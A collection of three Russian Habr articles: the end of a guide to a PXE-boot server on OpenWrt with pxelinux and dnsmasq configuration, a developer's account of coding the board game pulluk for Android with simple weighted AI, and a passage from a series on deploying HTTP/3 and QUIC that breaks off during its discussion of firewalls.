Более подробно настройка Samba описана в [документации](http://wiki.openwrt.org/doc/howto/cifs.server). Теперь мы можем заливать файлы и каталоги с другого компьютера, поэтому в сетевом ресурсе создадим папку tftpd, а в ней подкаталог: pxelinux.cfg (настройки меню), img (образы дисков), boot и source (для загрузки WinPE, смотри предыдущую [статью](http://habrahabr.ru/post/258717/)). Зальем в каталог tftpd необходимые файлы для pxelinux, перечень и описание которых приведено в [предыдущей статье](http://habrahabr.ru/post/258717/).
И вот мы добрались до настройки загрузочного меню, но прежде чем заниматься настройкой, нужно определиться с составом этого загрузочного меню, а вот тут мнений будет столько, сколько человек будет участвовать в споре. Да и спор будет беспредметным, так как одному человеку нужно один набор инструментов, другому — другой. Возьмем абстрактный пример, в котором будет:
* локальная загрузка;
* загрузка WinPE;
* подменю утилит для жесткого диска;
* Memtest86.
Фактически получается два файла: default и hdd.cfg, причем у последнего мы приведем только два пункта и пункт возврата в главное меню. И одно практическое замечание: не впихивайте в образ WinPE все подряд, достаточно одного файлового менеджера, все остальные инструменты можно получить по сети. Если размер флешки позволяет, то в каталоге /mnt/pxeboot создаем подпапки:
* tools (windows-утилиты);
* install (дистрибутивы);
* wim (образы wim для развертывания различных версий Windows).
Файл default будет выглядеть так:
```
UI vesamenu.c32
MENU TITLE Portable PXE-boot server
LABEL bootlocal
MENU LABEL ^Boot local disk
MENU DEFAULT
LOCALBOOT 0
TIMEOUT 80
TOTALTIMEOUT 9000
LABEL winpe
MENU LABEL ^WinPE
KERNEL pxeboot.0
LABEL hddtools
MENU LABEL hdd-tools
KERNEL vesamenu.c32
APPEND pxelinux.cfg/hdd.cfg
LABEL memtest
MENU LABEL Memtest86 6.0
KERNEL memdisk
APPEND iso initrd=img/memtest.iso
```
Еще раз напоминаю, что это только пример, соответственно, файл hdd.cfg:
```
UI vesamenu.c32
MENU TITLE Hard drive disk tools
LABEL vcr350
MENU LABEL Victoria 3.5
KERNEL memdisk
APPEND img initrd=img/fdd3.52.img
LABEL Seagate7200.12
MENU LABEL Firmware Seagate Barracuda 7200.12
KERNEL memdisk
APPEND iso initrd=img/barracuda12.iso
LABEL return
MENU LABEL Return Main Menu
KERNEL vesamenu.c32
APPEND pxelinux.cfg/default
```
Убедитесь, что все файлы скачаны и находятся на своих местах. Теперь можно настраивать dnsmasq — удобный dns-dhcp-tftpd-сервер, конфигурационный файл, которого /etc/config/dhcp:
```
config dnsmasq
...
option enable_tftp '1'
option tftp_root '/mnt/pxeboot/tftpd'
...
config boot linux
option filename 'pxelinux.0'
...
```
То есть выставляется только три параметра. Теперь можем проверять все настройки. Замечательно, если у вас все заработает с первого раза. А что делать, если что-то не работает? Конечно же смотреть системный журнал. Большинство Windows-пользователей не догадываются, что в Linux регистр имеет значение, поэтому boot и Boot являются разными папками. Например, для загрузки WinPE потребуются как раз две папки: boot и Boot. В Boot расположится каталог Fonts и файл BCD (именно так, как здесь указано), а в каталоге boot будет файлик boot.sdi. Обращайте внимание и на регистр расширения, например, если в конфигурационном файле указан файл fdd3.52.img, а вы закачаете файл fdd3.52.IMG, то скорее всего вы получите ошибку.
Особый случай представляют собой антивирусы, так как для них требуется загрузить еще и огромнейшую антивирусную базу. Обычно тут пользуются двумя путями: либо подгружают и подмонтируют базы через web-сервер, либо впихивают их в файл initrd, как, например, описано [здесь](http://habrahabr.ru/sandbox/64073/). Но это уже тема для другой статьи. | https://habr.com/ru/post/259161/ | null | ru | null |
# Как я делал игру индейцев Центральной Америки
Хочу представить вашему вниманию небольшую статью о том, как я делал для Android **пулук** — настольную игру индейцев Центральной Америки.
"Обучать" компьютеры человеческим играм я начал едва научившись программировать. Первым был **калах** (разновидность **манкалы**) для калькулятора МК-61. Позже — **Волк и овцы**, сначала для MS-DOS, а потом и для Android.
Общие сведения об игре
----------------------
Читая на Хабре статьи [GlukKazan](https://habrahabr.ru/users/glukkazan/), я наткнулся на интересный ЖЖ [Дмитрия Скирюка](http://skyruk.livejournal.com/) с описаниями настольных игр разных народов мира. Одна из них — [пулук](http://skyruk.livejournal.com/290069.html) — меня на столько увлекла, что я решил реализовать ее для Android.
[Историю игры](http://skyruk.livejournal.com/290069.html), а также ее сакральное значение для урожаев маиса можно прочесть в ЖЖ Дмитрия. Я же приведу здесь лишь правила.
Доска для пулука состоит из 11 полосок, причем первая и последняя служат "городами" для фишек игроков. Фишек у каждого игрока по пять штук. Вместо игрального кубика обычно используются четыре кукурузных зернышка, у которых одна из сторон каким-либо образом помечена. Очки считаются так:
1. одно из четырех зерен выпало пустой стороной вверх — одно очко
2. два зерна выпали пустой стороной верх — два очка
3. три зерна — три очка
4. четыре зерна — четыре очка
5. все зерна выпали метками вверх — пять очков
В начале игры все фишки игроков стоят в "городах". Во время своего хода игрок бросает зерна и перемещает одну из своих фишек на соответствующее число полосок по направлению к "городу" соперника.
Две фишки одного игрока не могут занимать одну полоску (кроме "города"). Но можно ставить свою фишку на полоску, на которой стоит фишка противника — брать эту фишку в плен. Далее этот столбик продолжает двигаться как одна (верхняя) фишка и может брать в плен другие фишки противника.
Если в плен берется столбик то все нижние фишки игрока, выполнившего захват, которые были в плену, освобождаются.
Когда игрок приводит столбик в "город" на другом конце доски, то все плененные фишки выводятся из игры (бьются), а своя возвращается в свой город и снова может вступить в игру. Точный бросок для захода в "город" противника не нужен.
Побеждает игрок, который захватит или побьет все фишки противника.
Как пишет Дмитрий: "Несмотря на кажущуюся простоту и непривычно маленькую доску, пулук очень увлекателен. Тактика его уникальна, он не похож на игры других народов: это не гонки с преследованием, не военная игра и не «переходы» вроде Уголков, а некая хитрая «ловилка-уводилка»".
В своем варианте игры я сделал два изменения. Во-первых, сделал подсчет очков более похожим на игральный кубик — количество очков соответствует количеству зерен, выпавших отметками вверх. Если же все четыре зерна выпали пустой стороной вверх, это считается за пять очков.
Второе изменение связано с освобождением своих фишек из плена. У Дмитрия сказано: "а нижняя фишка, бывшая в плену, освобождается и продолжает путь самостоятельно". Но в случае одновременного освобождения нескольких фишек, возникает ситуация, когда все они занимают одну полоску. А это противоречит правилу "Две фишки одного игрока не могут занимать одну полоску". В англоязычных же правилах освобождение своих фишек происходит лишь когда столбик достигает "города" на противоположной стороне доски — все свои фишки освобождаются, а фишки противника бьются. В моем варианте освобожденные фишки сразу перемещаются в свой город. Это не приводит к нарушению других правил и позволяет вводить фишки снова в игру очень быстро.
Технические особенности
-----------------------
В техническом плане игра, наверное, особого интереса не представляет, так как особых хитростей при разработке я не использовал. Программировал Android-приложение я с помощью фреймворка AndEngine. Хотя он в последнее время практически не развивается, его возможностей мне вполне хватило.
Единственный тонкий момент связан с анимацией движения фишек. Первоначально я анимировал перемещение каждой фишки. Например, при перемещении столбика из трех фишек не смотря на то, что видима лишь верхняя фишка, программа все равно перемещала все три. Естественно, такой подход приводил к довольно ощутимому потреблению ресурсов. Поэтому я сделал два псевдостолбика для демонстрации перемещений. Во время хода перемещаемые фишки сначала становились невидимыми, псевдостолбику задавалась нужная высота и запускалась анимация перемещения. После завершения анимации столбик становился невидимым, фишки устанавливались на новую позицию и делались видимыми. Такой вариант оказался немного сложнее предыдущего, но зато гораздо более экономно тратил вычислительные ресурсы.
Разработка ИИ
-------------
Случайный характер выпадающий игровых очков не позволяет прогнозировать следующие ходы и использовать, например, альфа-бета алгоритм для реализации ИИ. Во время своего хода игрок может выполнить (при возможности) одно из следующих действий:
* вывести фишку из "города"
* захватить в плен фишку противника
* освободить из плена свою фишку
* вывести из игры плененные фишки противника
Например, при следующей ситуации:
игрок может либо вывести очередную свою фишку из "города" в поле, либо фишкой с третьей полоски захватить в плен фишку противника на пятой или же пойти фишкой с 8-й полоски и вывести из игры фишку противника.
При доступности нескольких из представленных действий одновременно выбор того или иного и будет определять характер игры. Если приписать каждому из действий определенный вес, то в общих чертах алгоритм можно представить в следующем виде:
1. Найти все доступные ходы
2. Присвоить каждому ходу его вес
3. Выбрать ход с наибольшим весом.
Используя разные наборы весов, можно получить несколько вариантов ИИ:
```
public class OpponentAIFirstController extends OpponentAIController {
protected static final int WEIGHT_IND_HOME = 0;
protected static final int WEIGHT_IND_CAPTURE = 1;
protected static final int WEIGHT_IND_RELEASE = 2;
protected static final int WEIGHT_IND_CAPTURED_MOVE = 3;
protected float movementWeights[];
public OpponentAIFirstController(...) {
super(...);
initMovementWeights();
}
protected void initMovementWeights() {
movementWeights = new float[] {1.0f, 1.1f, 1.1f, 1.5f};
}
private void calcInitialScores(int pCornsValue) {
for(i = mFirstChipIndex; i < mLastChipIndex; i++) {
...
int newRow = mFieldController.calcNewRow(curChip, pCornsValue);
if (mFieldController.isHomeRow(newRow)) {
mMoveScores[j] += 1 + curChip.capturedCount();
mMoveScores[j] *= movementWeights[WEIGHT_IND_HOME];
continue;
}
...
}
}
...
}
public class OpponentAISecondController extends OpponentAIFirstController {
...
@Override
protected void initMovementWeights() {
movementWeights = new float[] {1.0f, 2.0f, 1.1f, 1.1f};
}
}
```
На самом деле кое-какие предсказания можно сделать, основываясь на теории вероятностей. Например, если перед рассмотренной выше ситуацией выпадали значения 5, 5, 4, 3, 2, 3, то с высокой долей вероятности можно предположить, что противнику выпадет значение **1**. В этом случае крайне желательно спасти от пленения фишку, стоящую на 8-й полоске. Поэтому третий алгоритм, который я разработал, запоминает выпавшие значения зерен и приписывает высокий вес тем ходам, которые спасают фишки от потенциального пленения.
Я заранее не знал, какая из стратегий окажется наиболее оптимальной. С другой стороны, называть варианты ИИ как обычно **Начинающий**, **Мастер** и т.п. довольно банально. Поэтому каждый из вариантов я назвал в честь определенного индейского божества. Первый алгоритм, который в первую очередь пытается сохранить свои фишки — в честь [**Кетцалькоатля**](https://ru.wikipedia.org/wiki/%D0%9A%D0%B5%D1%82%D1%86%D0%B0%D0%BB%D1%8C%D0%BA%D0%BE%D0%B0%D1%82%D0%BB%D1%8C) — наверное, это самое известное индейское божество. Второй алгоритм, стремящийся захватывать фишки противника — в честь божества войны [**Камаштли**](https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D0%BC%D0%B0%D1%88%D1%82%D0%BB%D0%B8). Третий алгоритм, который по моим предположениям должен быть наилучшим, — в честь божества маиса [**Центеотля**](https://ru.wikipedia.org/wiki/%D0%A6%D0%B5%D0%BD%D1%82%D0%B5%D0%BE%D1%82%D0%BB%D1%8C). Ведь божество, которому посвящена игра, должно в нее играть лучше всех.
Дабы привнести некоторый образовательный элемент в игру, в диалог выбора ИИ я добавил ссылки на соответствующие статьи на Wikipedia, а в диалог "О программе" — ссылку на статью Дмитрия о пулук. После некоторого количества игр я получил следующую статистику:
 
 
Итог
----
Пулук действительно оригинальная и забавная игра. Теперь "играть партия за партией до изнеможения" можно на дому. С помощью Internet и Google Play Game Services даже можно сразиться с настоящим майя. Ну а фермеры могут проверить ее влияние на урожаи кукурузы. | https://habr.com/ru/post/310404/ | null | ru | null |
# HTTP/3: развёртывание HTTP/3 на практике. Часть 3
*Фото Wolfgang Rottmann, Unsplash.com*
После почти пятилетних разработок протокол HTTP/3 наконец приближается к окончательному выпуску. Рассказываем, какие трудности могут возникнуть при развёртывании и тестировании HTTP/3 и как адаптировать к нему сайты и ресурсы.
Это третья и последняя часть серии о новых протоколах HTTP/3 и QUIC. Если, прочитав предыдущие две части об [истории и основных концепциях](https://habr.com/ru/company/southbridge/blog/575464/) и [функциях производительности HTTP/3](https://habr.com/ru/company/southbridge/blog/583434/), вы решили, что новые протоколы срочно нужно внедрять (будем надеяться, что так вы и решили), здесь мы расскажем, как это сделать.
Начнём с того, что нужно изменить в страницах и ресурсах, чтобы оптимально использовать новые протоколы (это самая простая часть). Затем узнаем, как настроить серверы и клиенты (это сложно, если вы не используете CDN). Наконец, мы увидим, какие инструменты помогут оценить влияние новых протоколов на производительность (здесь пока всё совсем сложно).
**Статьи серии:**
* [**Часть 1: история и ключевые концепции HTTP/3**](https://habr.com/ru/company/southbridge/blog/575464/)Эта часть для тех, кто в целом мало что знает об HTTP/3 и протоколах. Здесь мы говорим о самых основах.
* [**Часть 2: характеристики производительности HTTP/3**](https://habr.com/ru/company/southbridge/blog/583434/)Тут мы углубимся в технические детали. Если с основами вы уже знакомы, начинайте со второй части.
* **Часть 3: развёртывание HTTP/3 на практике**
Здесь описываются трудности, связанные с самостоятельным развёртыванием и тестированием HTTP/3. Мы поговорим, как нужно изменить веб-страницы и ресурсы и нужно ли вообще.
Изменения для страниц и ресурсов
--------------------------------
Начнём с хороших новостей: **если вы уже используете HTTP/2, скорее всего, при переходе на HTTP/3 менять страницы и ресурсы не придётся совсем**. В [первой](https://habr.com/ru/company/southbridge/blog/575464/) и во [второй](https://habr.com/ru/company/southbridge/blog/583434/) части мы уже объясняли, что HTTP/3, по сути, это HTTP/2-over-QUIC, и на прикладном уровне две версии не отличаются друг от друга. Все изменения и оптимизации под HTTP/2 будут работать для HTTP/3 и наоборот.
А вот если вы всё ещё держитесь за HTTP/1.1, забыли о переходе на HTTP/2 или ничего не настраивали для HTTP/2, вы можете задаваться вопросом, что и как нужно изменить, для того, чтобы быть готовым к HTTP/3. Даже сегодня сложно найти хорошую статью со всеми *подробностями*. Как я уже говорил в [первой части](https://habr.com/ru/company/southbridge/blog/575464/), сначала все были слишком оптимистично настроены по поводу использования HTTP/2, поэтому многие статьи содержат серьёзные ошибки и плохие советы. К сожалению, многие заблуждения никуда не делись, поэтому я и написал эту серию — чтобы с HTTP/3 такое не повторилось.
Лучше всего об HTTP/2 написано в книге [*HTTP/2 in Action*](https://www.manning.com/books/http2-in-action), автор [Barry Pollard](https://www.tunetheweb.com/). Но она платная, так что я расскажу здесь о самых важных моментах и об их связи с HTTP/3:
#### 1. Одно соединение
Главное отличие HTTP/2 от HTTP/1.1 — одно TCP-соединение вместо 6–30 параллельных. Во [второй части](https://habr.com/ru/company/southbridge/blog/583434/) я упомянул, что одно соединение может быть таким же быстрым, как несколько, потому что из-за контроля перегрузок может потеряться больше пакетов или потери начнутся раньше (что сведёт на нет преимущества в скорости из-за их одновременного старта). HTTP/3 придерживается такого же подхода, но с протоколом QUIC вместо TCP. Сама по себе разница несущественная (разве что издержки на стороне сервера меньше), но с ней связано много других факторов.
#### 2. Шардинг между серверами и объединение соединений
На практике было очень сложно перейти на одно соединение, потому что многие страницы были разделены между именами хостов и даже серверами (например, `img1.example.com` и `img2.example.com`). Всё потому, что браузеры открывали не больше шести соединений для каждого имени хоста, так что если их было несколько, соединений могло быть больше. Без изменений HTTP/2 до сих пор открывал бы несколько соединений, мешая работать другим функциям, например, приоритизации (см. ниже).
Так что всем советовали отменить шардинг между серверами и по максимуму собрать ресурсы на одном сервере. У HTTP/2 даже была функция объединения соединений, которая упрощала переход с HTTP/1.1, — [connection coalescing](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing/). В общих чертах, если два имени хоста соответствуют одному IP сервера (через DNS) и используют аналогичный сертификат TLS, б**раузер может использовать одно соединение даже между двумя именами хостов**.
На практике объединение соединений [сложно правильно организовать](https://nooshu.github.io/blog/2019/12/17/http2-and-sri-dont-always-get-on/), например, из-за некоторых [хитрых проблем безопасности, связанных с CORS](https://jakearchibald.com/2017/h2-push-tougher-than-i-thought/#requests-without-credentials-use-a-separate-connection). Даже если всё настроить правильно, соединений все равно может оказаться два. Правда, это **не всегда плохо**. Во-первых, из-за плохо реализованных приоритизации и мультиплексирования (см. ниже) одно соединение [может быть медленнее](https://twitter.com/zachleat/status/1055219667894259712), чем два и больше. Во-вторых, если соединений слишком много, пакеты начнут теряться раньше из-за состязающихся контролеров перегрузок. Если их будет немного (но больше одного), можно найти баланс между перегрузкой и улучшенной производительностью, особенно в быстрых сетях. Так что, по-моему, **немного шардинга (где-то 2–4 соединения) не повредит** даже для HTTP/2. Фактически большинство современных HTTP/2 ресурсов имеют такие скорости прогрузки, потому что у них всё ещё есть дополнительные соединения или загрузки сторонних ресурсов в «критическом пути».
#### 3. Объединение и встраивание ресурсов
В HTTP/1.1 мог быть только один *активный* ресурс на соединение, что приводило к [блокировке начала очереди (head-of-line, HoL) на уровне HTTP](https://calendar.perfplanet.com/2020/head-of-line-blocking-in-quic-and-http-3-the-details/). Соединений было всего 6–30, так что долгое время все практиковали объединение ресурсов в бандл (resource bundle). Даже сегодня есть подобные инструменты, например, Webpack. Кроме того, одни ресурсы часто встраивались в другие (например, критический CSS встраивался в HTML).
Соединение HTTP/2 мультиплексирует ресурсы, поэтому невыполненных запросов для файлов может быть гораздо больше — один запрос больше не занимает соединение (которых и так немного) целиком. Сначала все решили, что **в HTTP/2 больше не нужно объединять и встраивать ресурсы**. Считалось, что каждый подресурс можно кэшировать по отдельности, и не нужно снова загружать весь бандл, если один из ресурсов изменился. **Это правда, но применимо к ограниченному набору ситуаций.**
Например, можно [понизить](https://blog.khanacademy.org/forgo-js-packaging-not-so-fast/) [коэффициент сжатия](https://jakearchibald.com/2021/f1-perf-part-7/#lots-of-little-resources-vs-one-big-resource), потому что сжатие эффективнее работает с большими объёмами. Кроме того, каждый запрос или файл [связан с издержками, потому что должен обрабатываться браузером или сервером](https://twitter.com/yoavweiss/status/1254650804524507136). У нескольких сотен маленьких файлов эти издержки будут гораздо больше, чем у нескольких больших файлов. [В наших ранних тестах](https://speeder.edm.uhasselt.be/webist/files/h2bestpractices_RobinMarx_WEBIST2017.pdf) я заметил ухудшение примерно на 40 файлах. Сейчас это число, наверное, [немного больше](https://twitter.com/youyuxi/status/1425933472871456777), **но файловые запросы до сих пор обходятся не так дёшево, как все изначально ждали от HTTP/2**. Наконец, если не встраивать ресурсы, это увеличивает задержку, потому что файлы нужно запрашивать. Более того, из-за проблем с приоритизацией и server push (см. ниже) [лучше всё же встраивать критические CSS](https://calendar.perfplanet.com/2020/implementing-critical-css-from-cms-to-cls/). Может быть, однажды [технология Resource Bundles](https://github.com/WICG/resource-bundles) поможет в этом, но пока этот момент ещё не настал.
**Всё это относится и к HTTP/3.**Говорят, что QUIC лучше справляется со множеством маленьких файлов, потому что чем больше независимых параллельных потоков, тем больше пользы от удаления блокировки HoL (мы говорили об этом [во второй части](https://habr.com/ru/company/southbridge/blog/583434/)). Может быть, отчасти это правда, но мы уже видели, что это очень сложная проблема с большим числом переменных. Не думаю, что преимущества перевесят остальные затраты, но нужно подробно изучить вопрос. (Просто мысли вслух: файлы могут быть такого размера, чтобы точно вписываться в один пакет QUIC, и тогда блокировка HoL вообще не будет нас беспокоить. Принимаю роялти от стартапа, который реализует такой бандлер.;))
#### 4. Приоритизация
Чтобы загрузить несколько файлов по одному соединению, их нужно как-то мультиплексировать. Как мы говорили [во второй части](https://habr.com/ru/company/southbridge/blog/583434/), в HTTP/2 это мультиплексирование управляется через систему приоритизации. Ещё и поэтому важно, чтобы в одном соединении было запрошено как можно больше ресурсов, — так их можно правильно приоритизировать. Мы видели, что **система была очень сложной**, часто ее [неправильно использовали и реализовывали](https://github.com/andydavies/http2-prioritization-issues) на практике (см. изображение ниже). Это означало, что некоторые рекомендации для HTTP/2 (объединение ресурсов, раз запросы все равно дешёвые, и отказ от шардинга, чтобы оптимально использовать одно соединение) в реальности не давали ожидаемых преимуществ.
*В плохо реализованных стеках HTTP/2 ресурсы с высоким приоритетом (два нижних) загружаются после остальных ресурсов, у которых приоритет ниже. (Источник изображения: [Andy Davies](https://github.com/andydavies/http2-prioritization-issues)) ([исходное изображение](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/e8aef424-b7d6-44ce-ba69-d349439fcaa5/http2-prioritization.png))*
К сожалению, обычный веб-разработчик мало что может с этим сделать, потому что это проблема на стороне браузеров и серверов. Но вы хотя бы можете не использовать слишком много отдельных файлов (так будет сложнее расставить приоритеты) и применять шардинг, пусть и ограниченно. Ещё можно использовать методы расстановки приоритетов, например [lazy loading](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img#attr-loading), [`async` и `defer`](https://addyosmani.com/blog/script-priorities/) в JavaScript, и resource hints, например [`preload`](https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types/preload). Все эти механизмы меняют приоритеты ресурсов, чтобы они отправлялись раньше или позже. Но и эти механизмы [не без греха](https://bugs.chromium.org/p/chromium/issues/detail?id=788757). Не думайте, что можно просто назначить `preload` группе ресурсов и они сразу станут загружаться быстрее: если у всех ресурсов высокий приоритет, значит, у всех ресурсов одинаковый приоритет! Можно [легко](https://twitter.com/programmingart/status/1351557858354225159) взять и [отложить](https://twitter.com/csswizardry/status/1349681832393109510) загрузку действительно критичных ресурсов, просто [используя preload](https://www.debugbear.com/blog/rel-preload-problems).
Во [второй части](https://habr.com/ru/company/southbridge/blog/583434/) мы видели, как сильно изменилась система приоритизации в HTTP/3. Мы *надеемся*, что багов и проблем на практике станет меньше, но пока ни в чём не уверены, потому что [мало серверов и клиентов HTTP/3](https://qlog.edm.uhasselt.be/epiq/files/QUICImplementationDiversity_Marx_final_11jun2020.pdf) полностью реализовали эту систему. В любом случае, **фундаментальные концепции приоритизации не изменятся**. Вы всё ещё не сможете использовать такие механизмы, как preload, не понимая, что происходит внутри, потому что можно случайно неверно расставить приоритеты.
#### 5. Server push
Server push позволяет отправлять ответ, не дожидаясь запроса от клиента. В теории звучит интересно, и эту функцию можно использовать вместо встраивания. Во [второй части](https://habr.com/ru/company/southbridge/blog/583434/) мы уже говорили, что push сложно использовать правильно из-за [проблем с контролем перегрузок, кешированием, приоритизацией и буферизацией](https://calendar.perfplanet.com/2016/http2-push-the-details/). В целом, лучше **не использовать server push для загрузки веб-страниц**, разве что вы *точно* знаете, что делаете. Но и тогда [большого преимущества вы не получите](https://twitter.com/patmeenan/status/1359337536125075460). Я уверен, что server push может найти применение в (REST) API, чтобы [пушить подресурсы, на которые ссылается ответ (JSON)](https://github.com/dunglas/vulcain), в заранее подготовленном соединении. Это относится как к HTTP/2, так и к HTTP/3.
Думаю, это также относится к возобновлению сеанса TLS и 0-RTT для TCP + TLS или QUIC. Как мы видели во [второй части](https://habr.com/ru/company/southbridge/blog/583434/), 0-RTT похож на server push в том, что тоже пытается ускорить начальные этапы загрузки страницы. Но **пока обе функции дают очень ограниченные преимущества** (особенно в QUIC, где это связано с безопасностью). Чтобы получить пользу, нужно будет тщательно все настраивать на нижнем уровне. Поверить не могу, что раньше мне просто не терпелось объединить server push с 0-RTT.
#### Что всё это значит?
Можно сформулировать общее правило: **применяйте большинство обычных рекомендаций для HTTP/2, но не переусердствуйте.**
Вот, например, советы, которые подойдут для HTTP/2 и HTTP/3:
1. Разделяйте ресурсы по 1–3 соединениям для критического пути (если только большинство ваших пользователей не находятся в сетях с маленькой полосой пропускания), применяя [preconnect и dns-prefetch](https://www.smashingmagazine.com/2019/04/optimization-performance-resource-hints/), где нужно.
2. Объединяйте подресурсы по логическому принципу — по пути, функции или частоте изменений. 5–10 JavaScript и 5–10 ресурсов CSS на страницу — это хороший вариант. Встраивать критические CSS по-прежнему может быть полезно.
3. Используйте сложные функции, например preload, без фанатизма.
4. Используйте сервер, который [корректно поддерживает](https://github.com/andydavies/http2-prioritization-issues) приоритизацию HTTP/2. Для HTTP/2 рекомендую [H2O](https://github.com/h2o/h2o). Apache и NGINX тоже ничего (хотя [могло быть](https://twitter.com/programmingart/status/1245397190194999297) и [лучше](https://blog.cloudflare.com/nginx-structural-enhancements-for-http-2-performance/)), а Node.js [не особо подходит](https://twitter.com/jasnell/status/1245410283582918657) для HTTP/2. По HTTP/3 пока мало сведений (см. ниже).
5. Убедитесь, что для веб-сервера HTTP/2 включен TLS 1.3.
Как видите, оптимизировать страницы для HTTP/3 (и HTTP/2) не просто, но и не слишком сложно. Сложнее будет правильно настроить серверы, клиенты и инструменты для HTTP/3.
Серверы и сети
--------------
Наверное, вы уже понимаете, что QUIC и HTTP/3 — довольно сложные протоколы. Чтобы реализовать их с нуля, придётся прочитать (и понять!) [сотни страниц в семи и более документах](https://quicwg.org/). К счастью, сразу несколько компаний уже пять лет работают над [опенсорс-реализациями QUIC и HTTP/3](https://github.com/quicwg/base-drafts/wiki/Implementations), так что у нас есть несколько зрелых и стабильных вариантов на выбор.
Лучшие из них:
| | |
| --- | --- |
| Язык | Реализация |
| Python | [aioquic](https://github.com/aiortc/aioquic) |
| Go | [quic-go](https://github.com/lucas-clemente/quic-go) |
| Rust | [quiche](https://github.com/cloudflare/quiche) (Cloudflare), [Quinn](https://github.com/quinn-rs/quinn), [Neqo](https://github.com/mozilla/neqo) (Mozilla) |
| C и C++ | [mvfst](https://github.com/facebookincubator/mvfst) (Facebook), [MsQuic](https://github.com/microsoft/msquic), (Microsoft), (Google), [ngtcp2](https://github.com/ngtcp2/ngtcp2), [LSQUIC](https://github.com/litespeedtech/lsquic) (Litespeed), [picoquic](https://github.com/private-octopus/picoquic), [quicly](https://github.com/h2o/quicly) (Fastly) |
Многие (или даже большинство) реализаций, в основном, решают вопросы HTTP/3 и QUIC, и это **не полноценные веб-серверы**. Если говорить об обычных серверах (вроде NGINX, Apache, Node.js), тут всё идёт не так быстро, и причин тому несколько. Во-первых, мало кто из их разработчиков участвовал в создании HTTP/3 с самого начала, и сейчас приходится нагонять. Многие просто берут какую-нибудь реализацию из списка выше и используют её как библиотеку, но даже интеграция требует много усилий.
Во-вторых, многие серверы используют сторонние библиотеки TLS, например OpenSSL, потому что протокол TLS очень сложный и должен быть хорошо защищён, так что лучше брать уже испытанные решения. **Хотя QUIC интегрирован с TLS 1.3, он использует этот протокол совсем не так, как TCP**. Это значит, что [библиотеки TLS должны предоставлять API специально для QUIC](https://daniel.haxx.se/blog/2019/01/21/quic-and-missing-apis/), а их разработчики с этим не спешат. Особенно всё сложно с OpenSSL, которая [откладывает поддержку QUIC](https://www.openssl.org/blog/blog/2020/02/17/QUIC-and-OpenSSL/), но при этом используется многими серверами. Akamai даже начали собственный форк OpenSSL для QUIC и назвали его [quictls](https://github.com/quictls/openssl). Есть [другие варианты и обходные пути](https://daniel.haxx.se/blog/2021/04/02/where-is-http-3-right-now/), но поддержка TLS 1.3 для QUIC всё ещё мешает реализовать протокол на многих серверах, и в ближайшем будущем ничего не изменится.
Неполный список полноценных веб-серверов, которые можно использовать без дополнительной настройки, с указанием того, поддерживают ли они HTTP/3:
* **Apache**
Пока про поддержку ничего не известно. Никаких объявлений не было. Скорее всего, нужен OpenSSL. (Но есть реализация [Apache Traffic Server](https://cwiki.apache.org/confluence/display/TS/QUIC).)
* [**NGINX**](https://quic.nginx.org/)Это кастомная реализация, относительно новая и пока очень экспериментальная. Слияние [с основной веткой NGINX ожидается к концу 2021 года](https://www.nginx.com/blog/our-roadmap-quic-http-3-support-nginx/). Существует [патч для запуска библиотеки Cloudflare quiche на NGINX](https://blog.cloudflare.com/experiment-with-http-3-using-nginx-and-quiche/), и, пожалуй, это пока что более стабильный вариант.
* **Node.js**
Использует библиотеку ngtcp2, развитие которой [блокируется развитием OpenSSL](https://github.com/nodejs/node/pull/37067), хотя они планируют перейти на форк QUIC-TLS, [чтобы поскорее хоть что-то наладить](https://github.com/nodejs/node/issues/38478).
* **IIS**
Пока про поддержку ничего не известно, никаких объявлений. Скорее всего, будет использоваться библиотека MsQuic.
* [**Hypercorn**](https://pgjones.dev/blog/http-1-2-3-2019/)Интегрирует aioquic, экспериментальная поддержка.
* [**Caddy**](https://ma.ttias.be/how-run-http-3-with-caddy-2/)Использует quic-go, полная поддержка.
* [**H2O**](https://github.com/h2o/h2o)Использует quicly, полная поддержка.
* [**Litespeed**](https://github.com/litespeedtech/lsquic)Использует LSQUIC, полная поддержка.
**Важные примечания:**
* Даже «полная поддержка» предоставляется «как есть» и не означает готовность для продакшена. Например, **многие реализации еще не полностью поддерживают миграцию соединения, 0-RTT, server push или приоритизацию в HTTP/3**.
* Серверы, которых нет в списке, например Tomcat, пока, насколько мне известно, не делали никаких объявлений.
* Среди серверов из списка только Litespeed, патч Cloudflare для NGINX и H2O разрабатываются теми, кто активно участвовал в стандартизации QUIC и HTTP/3, так что пока, пожалуй, это лучшие варианты.
Как видите, вариантов немного, но что-то выбрать уже можно. Мало просто запустить сервер — куда сложнее настроить его и всю остальную сеть.
#### Конфигурация сети
Как мы говорили в [первой части](https://habr.com/ru/company/southbridge/blog/575464/), QUIC работает поверх UDP, чтобы его было проще развёртывать, потому что большинство сетевых устройств понимает UDP. К сожалению, **UDP разрешен не везде**. Его часто используют для атак, и он не очень-то нужен в повседневной работе, кроме как для DNS, так что многие корпоративные сети и файрволы почти полностью его блокируют. Скорее всего, **UDP нужно будет явно разрешить для входящего и исходящего трафика HTTP/3-серверов**. QUIC может использовать любой порт UDP, но обычно это порт 443 (которые используется и для HTTPS-over-TCP).
Многие сетевые администраторы не захотят разрешать весь UDP-трафик, только QUIC-over-UDP. Проблема в том, что QUIC почти полностью зашифрован, включая метаданные, допустим номера пакетов, а также, например, сигналы о закрытии соединения. Для TCP файрволы активно отслеживают все метаданные, чтобы исключить неожиданное поведение. (До пакетов с данными выполнено полное рукопожатие? Пакеты соответствуют ожидаемым паттернам? Сколько соединений открыто?) В [первой части](https://habr.com/ru/company/southbridge/blog/575464/) мы говорили, что это как раз одна из причин, которые мешают развитию TCP. Но **из-за шифрования QUIC файрволы не могут отслеживать почти ничего**, а то, что *могут*, представляет сложности.
Сейчас многие вендоры файрволов рекомендуют блокировать QUIC, пока они не обновят софт. И даже после этого компании будут неохотно разрешать QUIC, потому что файрвол будет поддерживать гораздо меньше функций QUIC, чем дает TCP.
